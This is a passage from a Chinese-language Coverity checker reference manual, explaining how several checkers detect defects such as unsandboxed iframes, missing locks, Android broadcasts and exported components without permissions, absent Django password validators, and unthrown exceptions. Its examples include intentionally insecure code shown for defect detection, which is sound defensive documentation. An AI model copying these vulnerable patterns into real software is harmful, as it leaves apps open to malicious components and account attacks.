Web 应用程序安全检查器启用：要启用 MISSING_IFRAME_SANDBOX 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

4.217.2. 缺陷剖析

MISSING_IFRAME_SANDBOX 缺陷显示 iframe 的动态构造，该构造是对设置 iframe 的源属性的 API 的调用和证明源的值是远程网站的证据。也可以通过设置 iframe 的沙箱属性来减少该缺陷。

4.217.3. 示例

本部分提供了一个或多个 MISSING_IFRAME_SANDBOX 示例。

4.217.3.1. JavaScript

考虑创建 iframe 的以下 JavaScript 函数：

```
function create_iframe() {
    var iframe = document.createElement('iframe');
    var src = "https://" + "remote-website.com";
    iframe.setAttribute('src', src); // Defect here.
    return iframe;
}
```

该检查器将报告缺陷，因为 iframe 源指向远程网站，但没有 iframe 具有沙箱属性的证据。在下面的示例中，检查器将不会报告缺陷，因为将沙箱属性设置为空字符串应用所有限制：

```
function create_iframe() {
    var iframe = document.createElement('iframe');
    var src = "https://" + "remote-website.com";
    iframe.setAttribute('src', src); // No defect here.
    iframe.setAttribute('sandbox', '');
    return iframe;
}
```

4.217.4. 选项

本部分描述了一个或多个 MISSING_IFRAME_SANDBOX 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- MISSING_IFRAME_SANDBOX:safe_url_pattern:<regex> - 此选项指定与受信任 URL 匹配的正则表达式 (Perl 语法)。该检查器将不会针对源匹配此正则表达式的 iframe 报告缺陷。默认值为

"^https?://(www.)?example\\.(com|org)" 以减少测试代码中的缺陷。设置此选项可覆盖默认值。

如果 cov-analyze 命令的 --webapp-security-aggressiveness-level 选项被设置为“高”(high)，此检查器选项会被自动设置为 "" 以表明没有 URL 被视为安全。

- MISSING_IFRAME_SANDBOX:unsafe_url_pattern:<regex> - 此选项指定与不受信任 URL 匹配的正则表达式 (Perl 语法)。该检查器仅针对源匹配此正则表达式但不匹配 MISSING_IFRAME_SANDBOX:safe_url_pattern 正则表达式的 iframe 报告缺陷。默认值为 "^https?://"。设置此选项可覆盖默认值。
- MISSING_IFRAME_SANDBOX:report_on_nonconst_url:<boolean> - 将此选项设置为 true 会使该检查器针对不是字符串常量的 URL 值以及 MISSING_IFRAME_SANDBOX:unsafe_url_pattern:<regex> 指定的常量字符串不安全 URL 报告缺陷。

如果 cov-analyze 命令的 --webapp-security-aggressiveness-level 选项被设置为“高”(high)，此检查器选项会被自动设置为 true。

4.218. MISSING_LOCK

质量、并发检查器

4.218.1. 概述

支持的语言： C、C++、Objective-C、Objective-C++

MISSING_LOCK 查找变量或字段通常通过锁/互斥锁保护，但它们至少有一次是在未持有锁时被访问的很多情况。这是一种并发竞态条件形式。竞态条件可能导致无法预测或不正确的程序行为。

MISSING_LOCK 可跟踪在持有锁时更新变量的情况。如果发现某个变量更新未持有锁，但通常应该持有锁，则会报告缺陷。

默认禁用：MISSING_LOCK 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

并发检查器启用：要与其他默认禁用的并发检查器一起启用 MISSING_LOCK，请在 cov-analyze 命令中使用 --concurrency 选项。

4.218.2. 示例

本部分提供了一个或多个 MISSING_LOCK 示例。

在下面的示例中，锁 bongo 大部分情况下是在访问变量 bango 时获取的。如果在 lockDefect 函数中不持有锁的情况下访问 bango，则会报告缺陷。

```
struct bingo {
    int bango;
    lock bongo;
};
```

```

void example(struct bingo *b) {
    lock(&b->bongo); // example_lock
    b->bango++;
    unlock(&b->bongo);

    lock(&b->bongo); // example_lock
    b->bango++;
    unlock(&b->bongo);

    lock(&b->bongo); // example_lock
    b->bango++;
    unlock(&b->bongo);
}
void lockDefect(struct bingo *b) {
    b->bango = 99; // missing_lock
}

```

4.218.3. 选项

本部分描述了一个或多个 MISSING_LOCK 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- MISSING_LOCK:lock_inference_threshold:<percentage> - 此选项用于指定对必须通过特定锁保护的结构的全局变量或字段的最低访问百分比（该检查器据此确定相应变量或字段始终应通过该锁进行保护）。如果通过锁 1 对变量 v 的访问次数与 v 总访问次数相比的比例小于或等于您设置的百分比，变量 v 将被视为通过锁 1 进行保护。如果该百分比被设置为 50，则当对变量 v 的访问中有四分之二是通过锁 1 访问时，该检查器将报告缺陷。如果被设置为 75，此类应用场景不会产生缺陷报告。默认值为 MISSING_LOCK:lock_inference_threshold:76（适用于所有语言）。

示例：

```
--checker-option MISSING_LOCK:lock_inference_threshold:50
```

4.218.4. 模型

您可以使用 __coverity_lock_alias__ 建模原语为此检查器的 C++ 锁封装类建模。例如：

```

struct Lock;
struct AutoLock {
    nsAutoLock(Lock *a) {
        __coverity_lock_alias__(this, a);
        __coverity_exclusive_lock_acquire__(this);
    }
    ~nsAutoLock() {
        __coverity_exclusive_lock_release__(this);
    }
    void lock() {
        __coverity_exclusive_lock_acquire__(this);
    }
}

```

```

void unlock() {
    __coverity_exclusive_lock_release__(this);
}
};

```

有关这些原语的描述，请参阅Section 5.1.12.1，“添加模型进行并发检查”。

4.218.5. 事件

本部分描述了 MISSING_LOCK 检查器生成的一个或多个事件。

- missing_lock - 变量在没有锁的情况下被访问。
- example_lock - 获取了锁。
- example_access - 变量在持有锁的情况下被访问。

4.219. MISSING_MOVE_ASSIGNMENT

质量检查器

4.219.1. 概述

支持的语言：. C++

MISSING_MOVE_ASSIGNMENT 报告类没有移动赋值运算符，并且发现其复制赋值运算符要应用于 rvalues 的情况。移动 rvalues 而不是复制它们，可以提高程序性能。

背景：C++11 引入了 move 语义，这允许编程人员在处理将要消失并且其资源可以安全地从该临时对象获取并被另一个对象使用的临时对象时避免不必要的复制。这些临时对象通过 rvalue 表达式生成。

默认启用：MISSING_MOVE_ASSIGNMENT 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

4.219.2. 示例

本部分提供了一个或多个 MISSING_MOVE_ASSIGNMENT 示例。

在下面的示例代码中，在声明结构 S 的位置发生缺陷：

```

struct S {           // MISSING_MOVE_ASSIGNMENT defect
    S() {
        p = new int(0);
    }
    S(const S &other) {
        p = new int;
        *p = *other.p;
    }
    ~S() {
        delete p;
    }
}

```

```

S& operator=(const S &other) {
    *p = *other.p;
    return *this;
}
int *p;
};

int main() {
    S s;
    s = S();      // example of copy assignment operator being applied to rvalue
    return 0;
}

```

下面的示例说明了 report_no_dtor_free 选项的用法。

```

struct dtor_no_free {
    // No defect when report_no_dtor_free is false
    // Defect when report_no_dtor_free is true
    dtor_no_free() {}
    dtor_no_free(const dtor_no_free &other): p(other.p) {}
    dtor_no_free& operator=(const dtor_no_free &other) {
        p = other.p;
        return *this;
    }
    ~dtor_no_free() {}
    std::string p;
};

int main() {
    dtor_no_free d;
    d = dtor_no_free();
    return 0;
}

```

4.219.3. 选项

本部分描述了一个或多个 MISSING_MOVE_ASSIGNMENT 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- MISSING_MOVE_ASSIGNMENT:report_no_dtor_free:<boolean> - 当此选项设置为 true 时，该检查器将报告缺少 move 赋值（即使没有释放在类中找到的字段的析构函数）的情况。如果类的析构函数从其字段释放资源（在源可以移动时，强烈推荐使用 move 赋值而不是 copy 赋值），该类将被视为拥有资源。否则，move 赋值与 copy 赋值效果相同。默认值为 MISSING_MOVE_ASSIGNMENT:report_no_dtor_free:true。
- MISSING_MOVE_ASSIGNMENT:report_pre_cpp11:<boolean> - 当此选项被设置为 true 时，该检查器将报告缺少 move 赋值（即使代码未被编译为 C++11）的情况。您可以将此选项设置为 true，以查找 C++11 之前版本代码库中的可能缺陷。默认值为 MISSING_MOVE_ASSIGNMENT:report_pre_cpp11:false。

4.219.4. 事件

本部分描述了 MISSING_MOVE_ASSIGNMENT 检查器生成的一个或多个事件。

- missing_move_assignment - 类没有移动赋值运算符，并且发现其复制赋值运算符要应用于 rvalues 的情况。
- copy_assignment - 示例说明该类的复制赋值运算符正应用于 rvalues。

4.220. MISSING_PASSWORD_VALIDATOR

安全检查器

4.220.1. 概述

支持的语言：. Python

Django 具有身份验证中间件，可以使用密码验证。MISSING_PASSWORD_VALIDATOR 检查器标记在 Django 配置文件中未通过 AUTH_PASSWORD_VALIDATORS 列表设置密码验证器的情况。没有密码验证器，用户可能会设置低复杂度的密码，这些密码很容易被猜测，并被攻击者快速暴力破解。

MISSING_PASSWORD_VALIDATOR 检查器默认禁用。它通过 --webapp-security 选项启用。

4.220.2. 示例

本部分提供了一个或多个 MISSING_PASSWORD_VALIDATOR 示例。

在下面的示例中，针对空 AUTH_PASSWORD_VALIDATORS 列表显示了 MISSING_PASSWORD_VALIDATOR 缺陷，因为未向该列表添加任何密码验证器。

```
AUTH_PASSWORD_VALIDATORS = [] # defect here
```

4.221. MISSING_PERMISSION_FOR_BROADCAST

安全检查器

4.221.1. 概述

支持的语言：. Java、Kotlin

MISSING_PERMISSION_FOR_BROADCAST 针对在未设置权限的情况下发送广播的代码报告缺陷。在没有获取权限的情况下发送广播会允许恶意应用程序接收该广播。MISSING_PERMISSION_FOR_BROADCAST 还可报告有关以下代码的缺陷：在未设置权限的情况下注册 BroadcastReceiver。在没有获取权限的情况下注册 BroadcastReceiver 会允许恶意应用程序将数据发送给该 BroadcastReceiver。

广播是通过调用 sendBroadcast、sendStickyBroadcast、sendOrderedBroadcast 或类似方法进行广播的 Intent 对象。该检查器可在没有权限、空 ("") 或 null 权限被传递给 send 方法时报告缺陷。

MISSING_PERMISSION_FOR_BROADCAST 在以下情况下不会报告缺陷：广播的 Intent 对象的目标被认为与发送广播的组件位于同一个 Android 应用程序中。广播的 Intent 对象的目标可通过针对其调用以下方法之一进行限制：setPackage、setComponent、setClass 或 setClassName。

接收广播的一个可能方式是通过调用 registerReceiver 方法注册 BroadcastReceiver。该检查器可在没有权限、空 ("") 或 null 权限被传递给 registerReceiver 方法时报告缺陷。

如果用于注册 BroadcastReceiver 的 IntentFilter 仅包含被分析程序视为受保护的 Intent 操作，此检查器不会针对注册 BroadcastReceiver 报告缺陷。

被分析程序视为受保护的 Intent 操作的部分示例如下：

- android.intent.action.AIRPLANE_MODE
- android.intent.action.BATTERY_CHANGED
- android.intent.action.BATTERY_LOW

要指定其他受保护的 Intent 操作，请参阅 android_protected_intent_actions 指令。

- 对于 Java：MISSING_PERMISSION_FOR_BROADCAST 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Android 安全检查器启用：要同时启用 MISSING_PERMISSION_FOR_BROADCAST 以及其他 Java Android 安全检查器，请在 cov-analyze 命令中使用 --android-security 选项。

- 对于 Kotlin：MISSING_PERMISSION_FOR_BROADCAST 默认启用。

4.221.2. 缺陷剖析

MISSING_PERMISSION_FOR_BROADCAST 缺陷表明在没有获取权限的情况下发送或接收广播。

对于在没有获取权限的情况下发送的广播，该缺陷表明对 sendBroadcast、sendStickyBroadcast、sendOrderedBroadcast 或其他类似方法（其中缺少 permission 参数、空或被认为是 null）的调用。

对于在没有获取权限的情况下接收的广播，该缺陷表明对 registerReceiver（其中缺少 permission 参数、空或被认为是 null）的调用。

4.221.3. 示例

本部分提供了一个或多个 MISSING_PERMISSION_FOR_BROADCAST 示例。

4.221.3.1. Java

在下面的示例中：

- （易受攻击）sendIntent Intent 对象未限制于当前应用程序，并且它在没有获取权限的情况下广播。恶意应用程序可以拦截此广播。

- (易受攻击) viewIntent Intent 对象未限制于当前应用程序，并且它在获取 null 权限的情况下广播。null 权限意味着没有获取权限即接收广播。恶意应用程序可以拦截此广播。
- (非易受攻击) refreshIntent Intent 对象通过调用 setPackage 限制于当前应用程序。恶意应用程序无法拦截此广播。
- (非易受攻击) updateIntent Intent 对象未限制于当前应用程序，但是它在获取非 null 权限的情况下广播。仅拥有该权限的应用程序可以接收此广播。

```
Intent sendIntent = new Intent("com.example.SEND");
sendBroadcast(sendIntent);

Intent viewIntent = new Intent();
viewIntent.setAction("com.example.VIEW");
sendBroadcast(viewIntent, null);

Intent refreshIntent = new Intent("com.example.REFRESH");
sendBroadcast(refreshIntent);

Intent updateIntent = new Intent("com.example.UPDATE");
sendBroadcast(updateIntent, "com.example.permission");
```

在下面的示例中：

- (易受攻击) sendReceiver BroadcastReceiver 在未指定权限的情况下进行注册。恶意应用程序可以将 Intent 对象广播给此 BroadcastReceiver。
- (易受攻击) viewReceiver BroadcastReceiver 在要求 null 权限的情况下进行注册。null 权限意味着将 Intent 对象发送给此 BroadcastReceiver 不需要权限。恶意应用程序可以将 Intent 对象广播给此 BroadcastReceiver。
- (非易受攻击) refreshReceiver BroadcastReceiver 在要求权限的情况下进行注册。发送给此 BroadcastReceiver 的 Intent 对象仅可以到达拥有该权限的应用程序。
- (非易受攻击) airplaneReceiver BroadcastReceiver 在未指定权限的情况下进行注册。Intent.ACTION_AIRPLANE_MODE_CHANGED 是受保护的 Intent 操作，IntentFilter 不包含其他操作。发送给此 BroadcastReceiver 的 Intent 对象仅可来自可信源。

```
BroadcastReceiver sendReceiver = new BroadcastReceiver() {
    @Override
    public void onReceive(final Context context, final Intent intent) {
        // ...
    }
};

registerReceiver(sendReceiver, new IntentFilter("com.example.SEND"));

BroadcastReceiver viewReceiver = new BroadcastReceiver() {
    @Override
    public void onReceive(final Context context, final Intent intent) {
        // ...
    }
};
```

```

    }
};

IntentFilter viewFilter = new IntentFilter();
viewFilter.addAction("com.example.VIEW");
registerReceiver(viewReceiver, viewFilter, null, null);

BroadcastReceiver refreshReceiver = new BroadcastReceiver() {
    @Override
    public void onReceive(final Context context, final Intent intent) {
        // ...
    }
};

registerReceiver(refreshReceiver, new IntentFilter("com.example.REFRESH"),
    "com.example.permission", null);

BroadcastReceiver airplaneReceiver = new BroadcastReceiver() {
    @Override
    public void onReceive(final Context context, final Intent intent) {
        // ...
    }
};

registerReceiver(airplaneReceiver, new
    IntentFilter(Intent.ACTION_AIRPLANE_MODE_CHANGED));

```

4.221.3.2. Kotlin

在下面的示例中，

- (易受攻击) sendIntent Intent 对象未限制于当前应用程序，并且它在没有获取权限的情况下广播。恶意应用程序可以拦截此广播。
- (易受攻击) viewIntent Intent 对象未限制于当前应用程序，并且它在获取 null 权限的情况下广播。null 权限意味着没有获取权限即接收广播。恶意应用程序可以拦截此广播。
- (非易受攻击) refreshIntent Intent 对象通过调用 setPackage 限制于当前应用程序。恶意应用程序无法拦截此广播。
- (非易受攻击) updateIntent Intent 对象未限制于当前应用程序，但是它在获取非 null 权限的情况下广播。仅拥有该权限的应用程序可以接收此广播。

```

val sendIntent = Intent("com.example.SEND")
sendBroadcast(sendIntent)

val viewIntent = Intent()
viewIntent.action = "com.example.VIEW"
sendBroadcast(viewIntent, null)

val refreshIntent = Intent("com.example.REFRESH")
refreshIntent.setPackage(this.packageName)

```

```
sendBroadcast(refreshIntent)

val updateIntent = Intent("com.example.UPDATE")
sendBroadcast(updateIntent, "com.example.permission")
```

在下一个示例中：

- (易受攻击) sendReceiver BroadcastReceiver 在未指定权限的情况下进行注册。恶意应用程序可以将 Intent 对象广播给此 BroadcastReceiver。
- (易受攻击) viewReceiver BroadcastReceiver 在要求 null 权限的情况下进行注册。null 权限意味着将 Intent 对象发送给此 BroadcastReceiver 不需要权限。恶意应用程序可以将 Intent 对象广播给此 BroadcastReceiver。
- (非易受攻击) refreshReceiver BroadcastReceiver 在要求权限的情况下进行注册。发送给此 BroadcastReceiver 的 Intent 对象仅可以到达拥有该权限的应用程序。
- (非易受攻击) airplaneReceiver BroadcastReceiver 在未指定权限的情况下进行注册。Intent.ACTION_AIRPLANE_MODE_CHANGED 是受保护的 Intent 操作，IntentFilter 不包含其他操作。发送给此 BroadcastReceiver 的 Intent 对象仅可来自可信源。

```
val sendReceiver: BroadcastReceiver = object : BroadcastReceiver() {
    override fun onReceive(context: Context, intent: Intent) { /* ... */ }
}

registerReceiver(sendReceiver, IntentFilter("com.example.SEND"))

val viewReceiver: BroadcastReceiver = object : BroadcastReceiver() {
    override fun onReceive(context: Context, intent: Intent) { /* ... */ }
}

val viewFilter = IntentFilter()
viewFilter.addAction("com.example.VIEW")
registerReceiver(viewReceiver, viewFilter, null, null)

val refreshReceiver: BroadcastReceiver = object : BroadcastReceiver() {
    override fun onReceive(context: Context, intent: Intent) { /* ... */ }
}

registerReceiver(refreshReceiver, IntentFilter("com.example.REFRESH"),
    "com.example.permission", null)

val airplaneReceiver: BroadcastReceiver = object : BroadcastReceiver() {
    override fun onReceive(context: Context, intent: Intent) { /* ... */ }
}

registerReceiver(airplaneReceiver, IntentFilter(Intent.ACTION_AIRPLANE_MODE_CHANGED))
```

4.222. MISSING_PERMISSION_ON_EXPORTED_COMPONENT

安全检查器

4.222.1. 概述

支持的语言：. Java、Kotlin

MISSING_PERMISSION_ON_EXPORTED_COMPONENT 报告已启用和导出但没有权限集的组件中 `AndroidManifest.xml` 文件中的缺陷。在没有获取权限的情况下导出组件会允许恶意应用程序将数据发送给该组件。

如果分析确定 Android 应用程序组件仅可以接收来自可信源的 `Intent` 对象，则此检查器不针对该组件报告缺陷。特别是，如果组件的每个 `intent-filter` 都包含 `safe` 类别或仅包含受保护的 `Intent` 操作，分析将认为该组件只能从可信源接收 `Intent` 对象。

分析视为安全的类别示例如下：

- `android.intent.category.HOME`
- `android.intent.category.LAUNCHER`

要指定其他安全类别，请参阅 `android_protected_intent_actions` 指令。

被分析程序视为受保护的 `Intent` 操作的部分示例如下：

- `android.intent.action.AIRPLANE_MODE`
- `android.intent.action.BATTERY_CHANGED`
- `android.intent.action.BATTERY_LOW`

要指定其他受保护的 `Intent` 操作，请参阅 `android_protected_intent_actions` 指令。

对于 Java，默认禁用 `MISSING_PERMISSION_ON_EXPORTED_COMPONENT`。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

Android 安全检查器启用：要同时启用 `MISSING_PERMISSION_ON_EXPORTED_COMPONENT` 以及其他 Java Android 安全检查器，请在 `cov-analyze` 命令中使用 `--android-security` 选项。

对于 Kotlin，默认启用 `MISSING_PERMISSION_ON_EXPORTED_COMPONENT`。

4.222.2. 缺陷剖析

`MISSING_PERMISSION_ON_EXPORTED_COMPONENT` 缺陷表明已启用、导出并且没有获取权限的 Android 应用程序组件。关联事件表明该组件已启用、导出并且没有获取权限。

4.222.3. 示例

本部分提供了一个或多个 `MISSING_PERMISSION_ON_EXPORTED_COMPONENT` 示例。以下示例适用于 Java 和 Kotlin。

```
<application>
```

```
<receiver android:name="com.example.SampleReceiver" >
    <intent-filter>
        <action android:name="com.example.SEND" />
    </intent-filter>
</receiver>

<provider
    android:name="com.example.SampleProvider"
    android:exported="true" >
</provider>

<!-- ... -->

</application>
```

此处，默认启用整个应用程序，并且未指定权限。

默认启用接收方 `com.example.SampleReceiver`。它还默认导出，因为它具有 `intent-filter`。因为该应用程序未指定权限并且该接收方未指定权限，所以将 `Intent` 对象发送给接收方不需要权限。恶意应用程序可以将 `Intent` 对象发送给该接收方。

内容提供方 `com.example.SampleProvider` 默认启用，并且还显式导出。因为该应用程序未指定权限并且内容提供方未指定权限（`read` 权限或 `write` 权限），所以从该内容提供方读取数据或向其写入数据不需要权限。恶意应用程序可以从该内容提供方读取数据或向其写入数据。

4.222.4. 选项

本部分描述了一个或多个 `MISSING_PERMISSION_ON_EXPORTED_COMPONENT` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `MISSING_PERMISSION_ON_EXPORTED_COMPONENT:require_provider_permissions:<specified_value>`
- 表明该检查器据其针对任何已启用和导出提供方报告缺陷的条件。有效值如下所列。默认值为 `MISSING_PERMISSION_ON_EXPORTED_COMPONENT:require_provider_permissions:any`

有效值

- `any` : [默认] 该检查器针对不需要 `read` 或 `write` 权限集的任何已启用和导出提供方报告缺陷。
- `read` : 该检查器针对不需要 `read` 权限集的任何已启用和导出提供方报告缺陷。
- `write` : 该检查器针对不需要 `write` 权限集的任何已启用和导出提供方报告缺陷。
- `readwrite` : 该检查器针对不需要 `read` 和 `write` 权限集的任何已启用和导出提供方报告缺陷。

4.223. MISSING_RESTORE

质量检查器

4.223.1. 概述

支持的语言： C、C++、C#、Java、Objective-C、Objective-C++

该 C、C++、C#、Java、Objective-C、Objective-C++ 检查器可查找程序的非本地状态被修改为供本地使用但未通过一致的方式恢复的很多情况。非本地状态是指不是函数或方法的本地变量并且未被用于返回值的任何状态。

默认启用：MISSING_RESTORE 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2, “启用和禁用检查器”。

MISSING_RESTORE 问题有两种主要模式：

- 显式保存，后接修改和不一致的恢复；例如：

```
local = non_local; // Save the non-local into a local variable.
non_local = 1; // Modify the non-local for local use.
// Do something dependent on 'non_local', usually involving a function call
if (condition)
    return; // Conditionally do not restore 'non_local'.
non_local = local; // Otherwise, do restore it.
```

- 验证预先存在的假定值，后接修改和不一致的恢复。当非本地变量包含某些默认的全局 sentinel 值时使用此模式，例如：

```
if (non_local == 0) { // verify that the non-local is as expected
    non_local = 1; // modify the non-local for local use
    // do something dependent on 'non_local'
    if (condition)
        return; // conditionally don't restore 'non_local'
    non_local = 0; // otherwise, do restore the original sentinel value
}
```

未能恢复非本地状态可能导致从无行为（如果未恢复的值之后未被使用），到意外的不利行为（如果未恢复的值被期望之前的非本地值的代码使用），再到崩溃或异常（如果意外未恢复的本地值超出了范围或在之后被使用时失效）等一系列后续后果。

此 MISSING_RESTORE 检查器将多个判别法合并到一起，用以区分看似不一致地恢复非本地状态实际上是特意为之以及可能表明存在程序缺陷的情况。如果对非本地状态的修改是临时行为，并且只能在某个后续不确定步骤成功时维持此类修改，则会发生常见模式（在此类情况下条件恢复是特意为之）。对于 C/C++，此类代码通常如下所示：

```
// Prepare to try essential step.
int save = p->m; // In case we need to restore it upon failure.
p->m = new_value; // The change we want to keep.
// ...
if (something_that_may_fail(p)) {
    // good, keep change to 'p->m'
    // other stuff
    return true; // success
}
```

```
// Failure: clean up
p->m = save;
return false;
```

在此类情况下，修改后的非本地值在 normal 或 success 路径中会被保留，但在 failure 路径中会被恢复。可以利用很多不同的方法使用返回值对 success 或 failure 编码，该检查器会尝试识别一系列此类情况。当该检查器能够确定哪些返回值与“success”（或者更笼统地说，函数或方法的“primary”结果）相关联以及哪些返回值与其他结果相关联时，它只会报告主要返回值路径或其他返回值路径中的不一致，而不是主要路径和其他路径之间的不一致。这意味着它不会报告之前的 C++ 示例，但会报告以下 C++ 示例：

```
// Prepare to try essential step.
int save = p->m; // In case we need to restore it upon failure.
p->m = new_value; // The change we want like to keep
// ...
if (something_that_may_fail(p)) {
    // Good, keep change to 'p->m'.

    // But...
    if (!some_other_necessary_condition)
        return false; // ERROR: Not restoring 'p->m' before returning false.

    // Other stuff.
    return true; // Success
}
// Failure: clean up
p->m = save;
return false;
```

此判别法并未覆盖所有情况：函数或方法可能根本未返回值；它们返回的值可能未形成该检查器可以识别的模式；或者恢复和未恢复本地值的路径可能根本未与返回值进行有意义的关联。

4.223.2. 示例

本部分提供了一个或多个 MISSING_RESTORE 示例。

4.223.2.1. C/C++ 示例

下面的示例假设 report_uncorrelated_with_return 选项被设置为 true。

```
extern int refresh_mode;

void move(item_t *item)
{
    int save_mode = refresh_mode;
    refresh_mode = 0; /* reduce flicker */
    if (!lock_for_move(item))
        return; /* error: leaving 'refresh_mode' as 0 */
    handle_move(item);
    unlock_for_move(item);
    refresh_mode = save_mode;
}
```

4.223.2.2. C# 示例

下面的示例假设 report_uncorrelated_with_return 选项被设置为 true。

```
static int refreshMode;

void move(Item item)
{
    int saveMode = refreshMode;
    refreshMode = 0; /* reduce flicker */
    if (!lockForMove(item))
        return; /* error: leaving 'refreshMode' as 0 */
    handleMove(item);
    unlockForMove(item);
    refreshMode = saveMode;
}
```

4.223.2.3. Java 示例

下面的示例假设 report_uncorrelated_with_return 选项被设置为 true。

```
static int refreshMode;

public void move(Item item) throws LockException {
    int save_mode = refreshMode;
    refreshMode = 0;
    lockForMove(item); // can throw LockException, leaving 'refresh_mode' as 0
    handleMove(item);
    unlockForMove(item);
    refreshMode = save_mode;
}
```

4.223.3. 选项

本部分描述了一个或多个 MISSING_RESTORE 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

如果将 cov-analyze 的 --aggressiveness-level 选项设置为 medium (或设置为 high)，这些检查器选项会自动设置为 true。

- MISSING_RESTORE:report_restore_not_dominated_by_modify:<boolean> - 默认情况下，该检查器只报告非本地变量在保存点和恢复点之间的所有路径中被修改的情况。此类修改据称旨在控制恢复。虽然很显然将本地变量赋值给非本地变量在此类情况下确实是恢复，但也存在即使不存在此类控制也确实进行恢复的情况。启用此选项后，检查器将会报告此类情况，但也可能会报告未发生真正恢复或特意仅在某些条件下恢复的一些情况。默认值为 MISSING_RESTORE:report_restore_not_dominated_by_modify:false
- MISSING_RESTORE:report_uncorrelated_with_return:<boolean> - 当非本地状态的恢复未与函数或方法的返回值关联时，相应行为是特意为之的可能性更大。此选项被

设置为 `true` 时，会将软件问题的报告范围扩大到覆盖此类情况。默认情况下，此选项将报告范围限制为以下情况：该检查器可以识别来自函数或方法的不同返回值中的模式，确定不同返回值之间存在关联并且确定恢复是否可能是针对任何指定返回值的预期行为。默认值为 `MISSING_RESTORE:report_uncorrelated_with_return:false`

请注意，该检查器会将方法或函数抛出异常的情况视为比返回值之间的任何差异更严重。因此，如果相应方法或函数在某些路径中恢复，并且由于另一个路径中存在异常而在其中恢复失败，该检查器始终都会将此类事件报告为缺陷，无论此选项的值是什么。

4.223.4. 事件

本部分描述了 `MISSING_RESTORE` 检查器生成的一个或多个事件。

- `save` - 将非本地值保存在本地变量中。
- `compare` - 将非本地值与预期的 sentinel 值比较。
- `modify` - 修改了之前保存或比较的非本地值。
- `end_of_path` - 已到达路径结尾，但非本地变量的未恢复、已修改值仍保持未变。
- `restoration_example` - 恢复非本地变量的值的其他路径中的示例。
- `exception` - 指明控制由于被调用的函数或方法中抛出异常而脱离相应函数或方法的情况。

4.224. MISSING_RETURN

质量检查器

4.224.1. 概述

支持的语言：. C、C++、Objective-C、Objective-C++

`MISSING_RETURN` 检查器查找非 `void` 函数没有返回值的情况，还可以选择查找该函数返回多个值的情况。

没有返回值或返回多个值可能导致无法预测的程序行为。不可到达的路径不会被报告为缺陷，即使是在没有返回值的情况下：

```
int fn(int x)
{
    switch (x) {
        case 5:    return 4;
        default:   return 5;
    }
    // no return; but not a defect, since unreachable
}
```

默认启用：`MISSING_RETURN` 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

4.224.2. 示例

本部分提供了一个或多个 MISSING_RETURN 示例。

```
int fn(int x) {
    if (x == 5)
        return 4;
    else if (x == 3)
        return 2;

} // missing_return
```

下面的示例使用了 only_one_return 选项。

```
int fn(int x) {
    if (x == 5)
        return 4; // extra_return
    else if (x == 3)
        return 2; // extra_return
    return 0;     // extra_return
}
```

4.224.3. 选项

本部分描述了一个或多个 MISSING_RETURN 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- MISSING_RETURN:only_one_return:<boolean> - 如果此选项被设置为 true，该检查器将报告函数具有多个 return 语句的情况。默认值为 MISSING_RETURN:only_one_return:false
- MISSING_RETURN:ignore_void:<boolean> - 如果此选项被设置为 true，该检查器将忽略关于没有返回值的函数的 only_one_return case。(请参阅 only_one_return 选项了解详情。) 默认值为 MISSING_RETURN:ignore_void:true

4.224.4. 事件

本部分描述了 MISSING_RETURN 检查器生成的一个或多个事件。

- missing_return - 函数没有返回值。
- extra_return - 函数返回了多个值。

4.225. MISSING_THROW

质量检查器

4.225.1. 概述

支持的语言：. C#、Java

MISSING_THROW 查找创建了异常对象但从未将其抛出的情况。它可在语句仅包含异常对象的创建时报告缺陷。未能抛出应该抛出的异常可能导致不正确的程序行为。尤其是在期望抛出异常来阻止执行后续代码时，缺少抛出可能会导致执行意外的代码。

默认启用：**MISSING_THROW** 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

4.225.2. 示例

本部分提供了一个或多个 **MISSING_THROW** 示例。

4.225.2.1. C# 和 Java

以下代码的开发人员打算让用户获得 `VerifyAuthorization(user)` 的授权，这会抛出 `SecurityException`。开发人员打算将该异常封装在自己的异常类中，并抛出新的异常，但忽略了抛出该异常。因而将执行危险的操作，无论用户是否已获得授权。

```
void DoSomething(User user)
{
    try
    {
        VerifyAuthorization(user);
    }
    catch(SecurityException ex)
    {
        new WrapperException(ex); // Defect here
    }
    DoSomethingDangerous();
}
```

4.225.3. 事件

C#、Java

本部分描述了 **MISSING_THROW** 检查器生成的一个或多个事件。

- `exception_created` - [C#、Java] 创建了类型 `SomeException` 的异常，但未将其抛出或保存。

4.226. MIXED_ENUMS

质量检查器

4.226.1. 概述

支持的语言：. C、C++、Objective-C、Objective-C++

MIXED_ENUMS 报告在不同的位置将同一个符号（例如变量、字段或成员或者函数）视为两个不同 `enum` 类型的情况。在某些情况下，符号被显式声明为 `enum` 类型。换言之，该检查器会推断被声明为仅具有整数类型的符号实际上是 `enum` 类型。

此类型推断过程可识别以下条件之一为 true 的位置：

- 该符号是赋值语句中某个值的接收方或来源。
- 该符号通过函数返回。
- 该符号被作为参数传递。
- 该符号与其他项进行比较。
- 该符号被转换。

默认禁用 : MIXED_ENUMS 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

